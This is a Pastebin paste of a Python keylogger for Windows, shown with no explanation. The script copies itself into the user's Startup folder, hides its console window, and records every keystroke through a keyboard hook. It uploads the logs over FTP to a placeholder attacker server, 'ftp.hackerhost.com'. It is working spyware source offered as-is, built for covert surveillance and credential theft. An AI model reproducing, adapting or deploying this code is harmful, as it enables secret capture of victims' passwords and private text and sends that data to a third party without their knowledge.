Advertisement
Guest User

Untitled

a guest
Jul 27th, 2015
898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.53 KB | None | 0 0
  1. import pythoncom, pyHook
  2. import os
  3. import sys
  4. import ftplib
  5. import datetime,time
  6. import win32event, win32api, winerror
  7. import random,string
  8. import getpass
  9. import shutil
  10.  
  11.  
  12. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  13. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  14.     mutex = None
  15.     exit(0)
  16. x=''
  17. data=''
  18. count=0
  19.  
  20. def checkfor():
  21.     username = getpass.getuser()
  22.     fullpath = os.sep.join(["C:","Users",username,"AppData","Roaming","Microsoft","Windows","Start Menu","Programs","Startup"])
  23.     nameofscript = sys.argv[0].split(os.sep)
  24.     nameofscript = nameofscript[len(nameofscript)-1]
  25.     if(not os.path.isfile(os.sep.join([fullpath,nameofscript]))):
  26.         shutil.copy2(os.sep.join([os.getcwd(),nameofscript]), os.sep.join([fullpath,nameofscript]))
  27.  
  28. checkfor()
  29.        
  30. def hide():
  31.     import win32console,win32gui
  32.     window = win32console.GetConsoleWindow()
  33.     win32gui.ShowWindow(window,0)
  34.     return True
  35.  
  36. def ftp():
  37.     global data,count
  38.     if len(data)>15:
  39.         count+=1
  40.         FILENAME="logs-"+str(count)+"-"+random_s()+".txt"
  41.         fp=open(FILENAME,"a")
  42.         fp.write(data)
  43.         fp.close()
  44.         data=''
  45.         try:
  46.             SERVER="ftp.hackerhost.com"
  47.             USERNAME="ftp_username"
  48.             PASSWORD="ftp_password"
  49.             SSL=0
  50.             OUTPUT_DIR="/"
  51.             if SSL==0:
  52.                 ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  53.             elif SSL==1:
  54.                 ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  55.             ft.cwd(OUTPUT_DIR)
  56.             fp=open(FILENAME,'rb')
  57.             cmd= 'STOR' +' '+FILENAME
  58.             ft.storbinary(cmd,fp)
  59.             ft.quit()
  60.             fp.close()
  61.             os.remove(FILENAME)
  62.         except Exception as e:
  63.             pass
  64.     return True
  65.  
  66.  
  67. def write():
  68.     global data,count
  69.     if(len(data)>15):
  70.         count+=1
  71.         FILENAME="logs-"+str(count)+"-"+random_s()+".txt"
  72.         fp=open(FILENAME,"a")
  73.         fp.write(data)
  74.         fp.close()
  75.         data=''
  76.    
  77. def random_s():
  78.     return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(45))
  79.    
  80. def main():
  81.     global x
  82.     x=4
  83.     hide()
  84.     return True
  85. main()
  86.  
  87. def keypressed(event):
  88.     global x,data
  89.     if event.Ascii==13:
  90.         keys='<ENTER>'
  91.     elif event.Ascii==8:
  92.         keys='<BACK SPACE>'
  93.     elif event.Ascii==9:
  94.         keys='<TAB>'
  95.     else:
  96.         keys=chr(event.Ascii)
  97.     data=data+keys
  98.     if x==4:
  99.         ftp()
  100.    
  101. obj = pyHook.HookManager()
  102. obj.KeyDown = keypressed
  103. obj.HookKeyboard();
  104. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement